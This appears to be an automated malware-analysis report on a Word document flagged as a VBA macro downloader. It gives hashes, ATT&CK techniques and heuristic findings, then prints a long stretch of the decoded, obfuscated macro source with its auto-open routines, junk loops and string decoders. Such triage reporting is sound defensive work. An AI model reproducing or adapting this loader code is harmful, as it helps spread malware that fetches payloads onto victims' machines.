Office (OLE) malware analysis — malicious · 84d0d1b9544ae886

MALICIOUS

Office (OLE)

245.5 KB Created: 2014-12-07 08:52:00 Authoring application: Microsoft Office Word First seen: 2015-01-04

MD5: 4732b7d8b766a8ac420d6f812a681fa8 SHA-1: 958ded1b2066e2eae5d522a48f6379345299fca5 SHA-256: 84d0d1b9544ae8862792796a7ef06e5924919c8ac9fe8b1fb495a4e2df98ed22

274 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Reverse Engineer

The sample is a Microsoft Office document containing heavily obfuscated VBA macros. Heuristics indicate the presence of an auto-executing loader that uses CreateObject and execution sinks, suggesting it's designed to download and run a second-stage payload. The ClamAV detection as 'Doc.Downloader.Generic' further supports this assessment.

Heuristics 11

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set RNNVUWVLESY = CreateObject("MSXML2.XMLHTTP")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set RNNVUWVLESY = CreateObject("MSXML2.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

GBIviviu67FUGBK.Open Environ(XORI(Hextostring("35292B28"), Hextostring("616C667875"))) & XORI(Hextostring("310F1328182D27340F1C31074D171529"), Hextostring("6D4C447A4B6372"))

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	186201 bytes
SHA-256: `b4233a3222141378d320995f6f161906850f014bbe14f5e3144fcf5a4209bdf2`
Detection ClamAV: No threats found Obfuscation or payload: likely 311 of 432 identifiers look randomly generated (e.g. 'A0337063974081B22063C39281F3B053B') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Public Function QmBGkPFckKNMB17() As Integer Dim QlHEwpWHgrruq25, GgGdeTYcEVfSh76, EuWVTkPTHPNKW71, yOgaKgjRmiZGk62 As String Dim dXlJRImxXhZJw99, LYMliZBIHsrig38, uZibeFFVKVPzh15, yvjlrhCYxkQFG57 As Integer dXlJRImxXhZJw99 = 6194 QlHEwpWHgrruq25 = E LYMliZBIHsrig38 = Asc(QlHEwpWHgrruq25) If dXlJRImxXhZJw99 > LYMliZBIHsrig38 Then For uZibeFFVKVPzh15 = 1 To 31 yvjlrhCYxkQFG57 = LYMliZBIHsrig38 + uZibeFFVKVPzh15 Next uZibeFFVKVPzh15 yvjlrhCYxkQFG57 = yvjlrhCYxkQFG57 + dXlJRImxXhZJw99 GgGdeTYcEVfSh76 = CStr(yvjlrhCYxkQFG57) EuWVTkPTHPNKW71 = Mid$(GgGdeTYcEVfSh76, 1, 4) yOgaKgjRmiZGk62 = yOgaKgjRmiZGk62 & "62" QmBGkPFckKNMB17 = CInt(Mid$(yOgaKgjRmiZGk62, 2, 6)) Else QmBGkPFckKNMB17 = 31 + 6194 MsgBox ("tJTDEjSKBykjo92") End Function Public Function hVKbQynbskORl19() As Integer Dim qtqfWPnuezkvH58, gwupruNQfAqiN38, WSlloNGPROyXb24, OmbvCSvMMTNaZ37 As String Dim rYBTbJpOngEIw24, kWArMrFqyFHrG55, HyJVzyzVcCZTf59, mCIfjaevXKLcV52 As Integer rYBTbJpOngEIw24 = 5369 qtqfWPnuezkvH58 = u kWArMrFqyFHrG55 = Asc(qtqfWPnuezkvH58) If rYBTbJpOngEIw24 > kWArMrFqyFHrG55 Then For HyJVzyzVcCZTf59 = 1 To 55 mCIfjaevXKLcV52 = kWArMrFqyFHrG55 + HyJVzyzVcCZTf59 Next HyJVzyzVcCZTf59 mCIfjaevXKLcV52 = mCIfjaevXKLcV52 + rYBTbJpOngEIw24 gwupruNQfAqiN38 = CStr(mCIfjaevXKLcV52) WSlloNGPROyXb24 = Mid$(gwupruNQfAqiN38, 1, 4) OmbvCSvMMTNaZ37 = OmbvCSvMMTNaZ37 & "25" hVKbQynbskORl19 = CInt(Mid$(OmbvCSvMMTNaZ37, 2, 6)) Else hVKbQynbskORl19 = 55 + 5369 MsgBox ("miUWraxxMUPbb67") End Function Public Function UNuOKHOsHwIuL24() As Integer Dim bNkXQvQYkYlUW81, xYtEQanDzETci21, OQImkgQjOfaKN37, NRrmGcrMeIFrM46 As String Dim QclkSdTrTMjjM33, cfHpsNPAvGBXF76, pxZmqFTsXvgez41, wMmYjzYayCjNd25 As Integer QclkSdTrTMjjM33 = 7541 bNkXQvQYkYlUW81 = a cfHpsNPAvGBXF76 = Asc(bNkXQvQYkYlUW81) If QclkSdTrTMjjM33 > cfHpsNPAvGBXF76 Then For pxZmqFTsXvgez41 = 1 To 64 wMmYjzYayCjNd25 = cfHpsNPAvGBXF76 + pxZmqFTsXvgez41 Next pxZmqFTsXvgez41 wMmYjzYayCjNd25 = wMmYjzYayCjNd25 + QclkSdTrTMjjM33 xYtEQanDzETci21 = CStr(wMmYjzYayCjNd25) OQImkgQjOfaKN37 = Mid$(xYtEQanDzETci21, 1, 4) NRrmGcrMeIFrM46 = NRrmGcrMeIFrM46 & "38" UNuOKHOsHwIuL24 = CInt(Mid$(NRrmGcrMeIFrM46, 2, 6)) Else UNuOKHOsHwIuL24 = 64 + 7541 MsgBox ("QkqHCSzxePcZK91") End Function Public Function sUULOqvVKEeEs88() As Integer Dim jTgxlYihbghPe24, pdshDfmvvQlUP46, lpIUeEYFHXHUu71, hBSaDiJptKLNq75 As String Dim MaACHesIZZNLx58, XUrlwAZFXBcRg22, sLFQlQQRLiJlZ86, OxlBNFGRDtpwm68 As Integer MaACHesIZZNLx58 = 3187 jTgxlYihbghPe24 = q XUrlwAZFXBcRg22 = Asc(jTgxlYihbghPe24) If MaACHesIZZNLx58 > XUrlwAZFXBcRg22 Then For sLFQlQQRLiJlZ86 = 1 To 89 OxlBNFGRDtpwm68 = XUrlwAZFXBcRg22 + sLFQlQQRLiJlZ86 Next sLFQlQQRLiJlZ86 OxlBNFGRDtpwm68 = OxlBNFGRDtpwm68 + MaACHesIZZNLx58 pdshDfmvvQlUP46 = CStr(OxlBNFGRDtpwm68) lpIUeEYFHXHUu71 = Mid$(pdshDfmvvQlUP46, 1, 4) hBSaDiJptKLNq75 = hBSaDiJptKLNq75 & "73" sUULOqvVKEeEs88 = CInt(Mid$(hBSaDiJptKLNq75, 2, 6)) Else sUULOqvVKEeEs88 = 89 + 3187 MsgBox ("fuzDvodcPHUnz15") End Function 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Sub Auto_Open() 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 586782 = 586782 + 1 Then End 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 6637 < 81 Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim tUgxBHbC As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim WeSYWqCh As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For WeSYWqCh = 0 To 7 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next WeSYWqCh 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер tUgxBHbC = 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While tUgxBHbC < 58 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim FJjkbjzI As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For FJjkbjzI = 0 To 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next FJjkbjzI 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: tUgxBHbC = tUgxBHbC + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim QtzxgRmd As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For QtzxgRmd = 0 To 2 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next QtzxgRmd 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim TLYiLPbT As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For TLYiLPbT = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next TLYiLPbT 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("facwvmEU44") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If Len("XoqUXSeQ3784") = Len("nxuwIiQH") Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim hmWVqRHe As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim AfGwTJaw As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For AfGwTJaw = 0 To 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next AfGwTJaw 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер hmWVqRHe = 7 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While hmWVqRHe < 48 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim vIelbLWI As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For vIelbLWI = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next vIelbLWI 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: hmWVqRHe = hmWVqRHe + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim oxaZKiWr As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For oxaZKiWr = 0 To 4 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next oxaZKiWr 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim ahiBzqFh As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For ahiBzqFh = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next ahiBzqFh 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("Error !!!") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim cEUNlxli As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim RCdUhPZj As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For RCdUhPZj = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next RCdUhPZj 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер cEUNlxli = 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While cEUNlxli < 36 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim BAiBafZu As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For BAiBafZu = 0 To 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next BAiBafZu 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: cEUNlxli = cEUNlxli + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim VQgcVgNf As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For VQgcVgNf = 0 To 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next VQgcVgNf 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim kmDRrAYl As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For kmDRrAYl = 0 To 2 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next kmDRrAYl 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер BDMLBVTBLGM 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End Sub 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Sub AutoOpen() 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 426546 = 426546 + 1 Then End 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 5679 < 43 Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim koVSeRjr As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim DWXMPzVF As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For DWXMPzVF = 0 To 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next DWXMPzVF 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер koVSeRjr = 7 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While koVSeRjr < 22 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim PqTiVyti As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For PqTiVyti = 0 To 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next PqTiVyti 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: koVSeRjr = koVSeRjr + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim wNEjjwtE As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For wNEjjwtE = 0 To 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next wNEjjwtE 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim TLRsYwla As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For TLRsYwla = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next TLRsYwla 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("btxnTqMJ65") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If Len("KuUWXLFS3636") = Len("eTIkCIIo") Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim GxhldSSq As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim yQGlHWRo As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For yQGlHWRo = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next yQGlHWRo 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер GxhldSSq = 2 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While GxhldSSq < 27 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim EaBOcliD As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For EaBOcliD = 0 To 4 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next EaBOcliD 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: GxhldSSq = GxhldSSq + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim JnPFligS As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For JnPFligS = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next JnPFligS 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim DWVSsppN As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For DWVSsppN = 0 To 9 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next DWVSsppN 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("Error !!!") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim qNqQVjSa As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim YOcDSBKX As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For YOcDSBKX = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next YOcDSBKX 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер qNqQVjSa = 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While qNqQVjSa < 63 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim ZogxsVne As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For ZogxsVne = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 